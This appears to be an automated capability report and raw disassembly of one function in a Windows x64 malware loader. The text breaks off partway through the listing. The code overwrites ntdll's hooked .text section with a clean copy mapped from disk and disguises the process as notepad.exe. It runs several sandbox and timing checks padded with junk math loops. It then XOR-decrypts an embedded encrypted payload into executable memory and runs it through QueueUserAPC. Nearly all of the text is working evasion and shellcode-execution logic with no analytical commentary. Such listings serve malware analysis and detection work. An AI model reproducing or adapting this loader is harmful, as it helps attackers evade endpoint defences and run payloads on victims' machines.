Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8d8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002af0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
je 0x1400018e1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x7c8]
mov r10, qword [rbp + 0x848]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x1c98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x844], 0
jmp 0x1400015c6
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x392
jle 0x140001588
mov dword [rbp + 0x844], 0
jmp 0x140001630
mov eax, dword [rbp + 0x844]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7c0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x392
jle 0x1400015de
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x840], 0
jmp 0x140001693
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ae0
movq rax, xmm0
mov qword [rbp + 0x780], rax
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x1a6
jle 0x140001656
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov qword [rbp + 0x790], rax
mov word [rbp + 0x83e], 0
jmp 0x1400018c9
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x790]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x83e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400018b8
mov dword [rbp + 0x5e8], 0
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e8]
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x788]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x83e]
add eax, 1
mov word [rbp + 0x83e], ax
mov rax, qword [rbp + 0x790]
movzx eax, word [rax + 6]
cmp word [rbp + 0x83e], ax
jb 0x14000178d
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x7d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x778]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x830], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140001a05
mov rax, qword [rbp + 0x768]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x760]
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
call rax
mov qword [rbp + 0x830], rax
cmp qword [rbp + 0x830], 0
je 0x140002a29
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140002a29
mov rax, qword [rbp + 0x758]
mov edx, 0x44f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x754], eax
lea rax, str.rnyoggmvgyyhdky.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
jne 0x140002a29
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x73c], eax
mov ecx, 0x328
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x740]
call rax
mov dword [rbp + 0x738], eax
mov eax, dword [rbp + 0x738]
sub eax, dword [rbp + 0x73c]
cmp eax, 0x2f6
jbe 0x140002a29
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002a29
mov rax, qword [rbp + 0x730]
mov edx, 0x59c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x72c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov ecx, 0
call rax
mov dword [rbp + 0x71c], eax
cmp dword [rbp + 0x71c], 0xffffffff
je 0x140002a29
mov dword [rbp + 0x718], 0x38f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x718]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x35d
jbe 0x140002a29
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002a29
mov rax, qword [rbp + 0x700]
mov edx, 0x436
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6fc], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002a29
mov rax, qword [rbp + 0x6f0]
mov edx, 0x4b4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6ec], eax
mov qword [rbp + 0x6e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4d8da80
mov ecx, 0
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
je 0x140002a29
mov rax, qword [rbp + 0x6e0]
mov edx, 0x4d8da80
mov rcx, rax
call fcn.140004a20
mov rax, qword [rbp + 0x6e0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x82c], 0xffffffff
mov ecx, 0xf18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
add dword [rbp + 0x82c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movsd xmm1, qword [0x140006638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x82c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x82c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x82c], 0x1e1
jle 0x140001d88
lea rax, [rbp + 0xf0]
lea rdx, [0x140006140]
mov ecx, 0x9d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov ecx, 0x1948
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x828], 0
jmp 0x140001eb2
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x328
jle 0x140001e74
mov dword [rbp + 0x828], 0
jmp 0x140001f4f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x328
jle 0x140001ecd
mov rax, qword [rbp + 0x7d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x824], 0
jmp 0x14000202c
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x644], eax
mov ecx, dword [rbp + 0x644]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x644], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x644]
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
mov qword [rbp + 0x638], rax
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x12f
jle 0x140001fad
mov rax, qword [rbp + 0x6c0]
mov r8d, 0
mov edx, 0x4eb
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0x4eb
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6a0]
mov r8d, 0x4eb
mov rcx, rax
call r9
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x818], 0
mov ecx, 0x1930
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x814], 0
jmp 0x14000214d
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movsd xmm1, qword [0x140006638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x325
jle 0x1400020ff
mov dword [rbp + 0x814], 0
jmp 0x1400021b4
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x698]
add rax, rdx
movq xmm1, qword [0x140006640]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x325
jle 0x140002165
movabs rax, 0xcb3d5f187ee3dbd4
movabs rdx, 0xa4c31a7ed65dd49a
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x4dc080ee65932b3a
movabs rdx, 0x42c576073329350f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x1bbd217bca0dacf
movabs rdx, 0x51f0fdc350eeaa95
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x2114350e4ceac24e
movabs rdx, 0x4e4100552b8e484b
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x619fde4e4100552b
movabs rdx, 0x6e82fd18402870
mov qword [rbp - 5], rax
mov qword [rbp + 3], rdx
movabs rax, 0x77109dec267ce337
movabs rdx, 0xadf21e7191b31266
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x54e27c1ed28ed4c2
movabs rdx, 0x15303543e4496c74
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x15888e6456984d94
movabs rdx, 0xee197c368e1fb4e1
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x58e8295ffda17350
movabs rdx, 0xdddca6282bd0a0d3
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xd39fb70cf382b496
movabs rdx, 0x61c9a2567a7434bf
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xd4f8c048cdd13f91
movabs rdx, 0xfad1101b43974a6e
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x42762f6452fad110
movabs rdx, 0xc878386263bf51
mov qword [rbp + 0xdd], rax
mov qword [rbp + 0xe5], rdx
jmp 0x14000238a
mov eax, dword [rbp + 0x820]
cdqe
movzx edx, byte [rbp + rax + 0x80]
mov eax, dword [rbp + 0x81c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x820]
cdqe
mov byte [rbp + rax + 0x10], dl
cmp dword [rbp + 0x81c], 0x49
jne 0x14000237c
mov dword [rbp + 0x81c], 0
jmp 0x140002383
add dword [rbp + 0x81c], 1
add dword [rbp + 0x820], 1
mov eax, dword [rbp + 0x820]
cmp eax, 0x6b
jbe 0x14000233c
mov dword [rbp + 0x820], 0
jmp 0x140002662
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x818]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x820]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x630
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x810], 0
jmp 0x14000244c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x18b
jle 0x1400023ff
mov dword [rbp + 0x810], 0
jmp 0x140002564
mov dword [rbp + 0x64c], 0
jmp 0x140002546
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x64c]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000253f
mov eax, dword [rbp + 0x64c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x648], eax
mov eax, dword [rbp + 0x810]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, dword [rbp + 0x64c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x64c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rdx, rax
mov eax, dword [rbp + 0x648]
mov dword [rdx], eax
add dword [rbp + 0x810], 1
mov eax, 0x18b
sub eax, dword [rbp + 0x810]
cmp dword [rbp + 0x64c], eax
jl 0x140002476
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x18b
jle 0x140002467
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x818], 0x6b
jne 0x140002654
mov dword [rbp + 0x80c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x800], xmm0
add dword [rbp + 0x80c], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x80c]
movsd xmm0, qword [0x140006638]
addsd xmm0, xmm1
mov rax, qword [0x140006650]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e90
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x80c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006638]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x800]
addsd xmm0, xmm1
movsd qword [rbp + 0x800], xmm0
cmp dword [rbp + 0x80c], 0x1dd
jle 0x1400025a6
movsd xmm1, qword [rbp + 0x800]
movsd xmm0, qword [0x140006658]
mulsd xmm0, xmm1
movsd qword [rbp + 0x800], xmm0
mov dword [rbp + 0x818], 0
jmp 0x14000265b
add dword [rbp + 0x818], 1
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x4ea
jle 0x1400023a4
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x684], 0xa6
mov dword [rbp + 0x680], 0x53
mov eax, dword [rbp + 0x684]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x7fc], 0
jmp 0x140002712
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x7fc]
mov dword [rdx], eax
add dword [rbp + 0x7fc], 1
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x680]
jl 0x1400026e9
mov dword [rbp + 0x7fc], 1
jmp 0x1400027a4
mov eax, dword [rbp + 0x7fc]
mov dword [rbp + 0x7f8], eax
jmp 0x14000277b
mov edx, dword [rbp + 0x7fc]
mov eax, dword [rbp + 0x7f8]
add edx, eax
mov eax, dword [rbp + 0x7fc]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x7f8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x680]
sub eax, dword [rbp + 0x7fc]
mov edx, dword [rbp + 0x7fc]
add edx, edx
lea esi, [rdx + 1]
cdq
idiv esi
cmp dword [rbp + 0x7f8], eax
jle 0x14000273a
add dword [rbp + 0x7fc], 1
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x680]
jl 0x14000272c
cmp dword [rbp + 0x684], 2
jle 0x1400027e8
mov eax, dword [rbp + 0x7f4]
lea edx, [rax + 1]
mov dword [rbp + 0x7f4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x7fc], 1
jmp 0x14000284c
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002845
mov eax, dword [rbp + 0x7fc]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x7f4]
lea edx, [rax + 1]
mov dword [rbp + 0x7f4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x7fc], 1
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x680]
jl 0x1400027f4
mov dword [rbp + 0x674], 2
mov dword [rbp + 0x7f0], 0
mov dword [rbp + 0x7fc], 0
jmp 0x1400028a8
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400028a1
add dword [rbp + 0x7f0], 1
add dword [rbp + 0x7fc], 1
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x674]
jl 0x14000287a
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x688]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x664], 0
mov dword [rbp + 0x7e4], 0
mov ecx, 0x2d04
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x7ec], 0
jmp 0x1400029f7
mov dword [rbp + 0x7e8], 0
jmp 0x1400029e3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
imul rcx, rdx, 0xac
mov rdx, qword [rbp + 0x658]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e8]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x7ec]
cdqe
imul rdx, rax, 0xac
mov rax, qword [rbp + 0x658]
add rdx, rax
